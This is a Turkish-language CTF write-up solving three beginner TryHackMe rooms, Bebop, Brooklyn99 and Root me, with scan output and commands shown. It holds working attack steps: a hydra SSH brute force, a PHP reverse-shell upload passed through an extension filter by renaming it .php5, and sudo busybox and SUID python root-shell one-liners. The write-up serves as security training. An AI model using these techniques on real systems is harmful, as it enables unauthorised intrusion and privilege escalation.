Bugün sizlere başlangıç düzeyinde olan üç odanın çözümünü yapacağım bu odaları seçmemin nedeni yeni başlayan arkadaşlar için daha yararlı olacaklarını düşünmem. İlk olarak bizi çok uğraştırmayacak bir oda olan Bebop odasından başlayalım.
Bebop
#Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 10:32 EST# Nmap scan report for 10.10.255.118 (10.10.255.118)
Host is up (0.068s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey:
| 2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
| 256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_ 256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open telnet BSD-derived telnetd
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Nmap çıktısını incelediğimizde 23 portunda açık bir telnet servisi olduğunu görüyoruz. Odanın başında bize kullanıcı adımızın “pilot” olduğu verildi. Biz de bu bilgiyi kullanacağız telnet portuna pilot adını girdiğimizde bizden şifre isteyip istemediğine bakacağız ama öncelikle;
Telnet Nedir?
Telnet kelimesinin açılımı “Telecommunication Network” iletişim ağı anlamına gelir temel olarak internet ağına bağlı bir cihaza uzaktan erişmemize ve içinde komut çalıştırmamıza olanak sağlar. Telnet protokolünde veriler şifrelenmez . Yani güvenli bir yazılım olduğunu söyleyemeyiz. Herhangi biri ağınıza girip verilerinizi elde edebilir ve telnet kullanıcılarınızı daha sonra Dos(Denial of service) saldırılarında kullanmak için zombi bilgisayara çevirebilir.
“Pilot” kullanıcı adıyla bağlantı kurduğumuzda bizden herhangi bir şifre istemiyor. Çok rahat bir şekilde sisteme girebiliyoruz.
[pilot@freebsd~]$ cat user.txt
THM{*******************}
Root olarak kullanabildiğimiz komutla yetki yükseltme yapmak için;
“sudo -l” komutunu kullanıp “busybox” isimli komutu görüyoruz.
$ sudo /usr/local/bin/busybox sh <- "Yetki yükseltme için ne kullanıldı(2.2)"
#whoami
root
#cat /root/root.txt
THM{**************************}
#id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
#uname
FreeBSD <- "Drone hangi işletim sistemini kullanıyor(2.4)?"
Brooklyn99
Bu odanın iki farklı çözümü bulunmakta.
Çözüm1
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 119 May 17 23:17 note_to_jake.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.93.86
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Nmap sonucundan yola çıkarak anonymous ftp bağlantısı yapıyoruz.
Connected to 10.10.213.62.
220 (vsFTPd 3.0.3)
Name (10.10.213.62:kernelblog): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 119 May 17 23:17 note_to_jake.txt
226 Directory send OK.
note_to_jake.txt dosyasını okumak için kendi bilgisayarımıza çekip okuyoruz.
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (260.5627 kB/s)
“From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine”
Dosyanın çıktısından yola çıkarak “jake” kullanıcısının şifresini bulmak için brute-force yapmak için “hydra” aracını kullanıyoruz.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-02 11:15:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.213.62:22/
[22][ssh] host: 10.10.213.62 login: jake password: 987654321
ssh bağlantısı yapıp user.txt’yi aratıyoruz.
ssh jake@10.10.213.62 -p 22
The authenticity of host '10.10.213.62 (10.10.213.62)' can't be established.
ECDSA key fingerprint is SHA256:Ofp49Dp4VBPb3v/vGM9jYfTRiwpg2v28x1uGhvoJ7K4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.213.62' (ECDSA) to the list of known hosts.
jake@10.10.213.62's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$ find / * | grep user.txt <- find bütün alt dizinleri arıyor çıktısı grep komutuna yönlendirilip grep komutunun user.txt'yi tutması sağlanıyor
find: ‘/proc/tty/driver’: Permission denied
find: ‘/proc/1/task/1/fd’: Permission denied
*
*
find: ‘/home/holt/.ssh’: Permission denied
/home/holt/user.txt
jake@brookly_nine_nine:~$ cat /home/holt/user.txt
e*****************************
Ardından root olarak kullanabildiğimiz komutların neler olduğuna bakıyoruz.
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less
“less” komutu ile ise root.txt dosyasını okuyup root flagini alıyoruz.
— Creator : Fsociety2006 —
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: ****************************5
Enjoy!!
Çözüm 2
Makinenin web sitesine giriyoruz .
Sitenin kodlarını incelediğimizde yorum satırı arasında bir not görüyoruz.
Fotoğrafı indirip stegcracker aracını kullanarak resimin içinde herhangi bir data var mı diye bakıyorum.
Bu bilgileri kullanarak makineye ssh bağlantısı yapıyoruz ve holt kullanıcısının root.txt ve user.txt okuma izni bulunduğu için herhangi bir yetki yükseltme yapmamıza gerek kalmıyor.
Root me
Makineye yine nmap taraması yaparak başlıyoruz.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) < Port 22 de çalışan servis(2.3)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu) < Apache versiyonu(2.2)
|_http-title: HackIT – Home
Ardından gobuster ile diğer dizinleri tarıyoruz.
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.9.125
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.9.125
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/02 08:25:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
[ERROR] 2020/11/02 08:25:23 [!] Get http://10.10.9.125/comunicator: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/11/02 08:25:51 Finished
===============================================================
“/panel” dizinine gittiğimde dosya yükleyebildiğimiz bir alan bulunduğunu görüyoruz.
Php reverse shell yüklemeyi deniyoruz ama .php uzantısını kabul etmiyor.
Bu sefer de uzantıyı php5 olarak değiştiriyoruz ve bu şekilde yüklemeyi deniyoruz.
listening on [any] 1234 ...
connect to [10.8.93.86] from (UNKNOWN) [10.10.9.125] 39664
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:33:33 up 47 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
find / * | grep user.txt
cat /var/www/user.txt
THM{***_***_*_*****}
Bağlantıyı sağlayıp user.txt dosyasını okuduktan sonra suid izni etkin olan dosyaları arıyoruz.
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
*
*
/usr/bin/python < suid izinlerinde hangi dosya garip?(4.1)
/usr/bin/chfn
python komutunun suid izni olduğunu görüyoruz ve python komutu ile yetki yükseltmesi yapıp root.txt dosyasını okuyoruz.
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
id
uid=0(root) gid=33(www-data) groups=33(www-data)
cat /root/root.txt
THM{********_**********}
Ve makine çözümlerimiz bu yazı için bu kadar. Kendinize iyi bakın…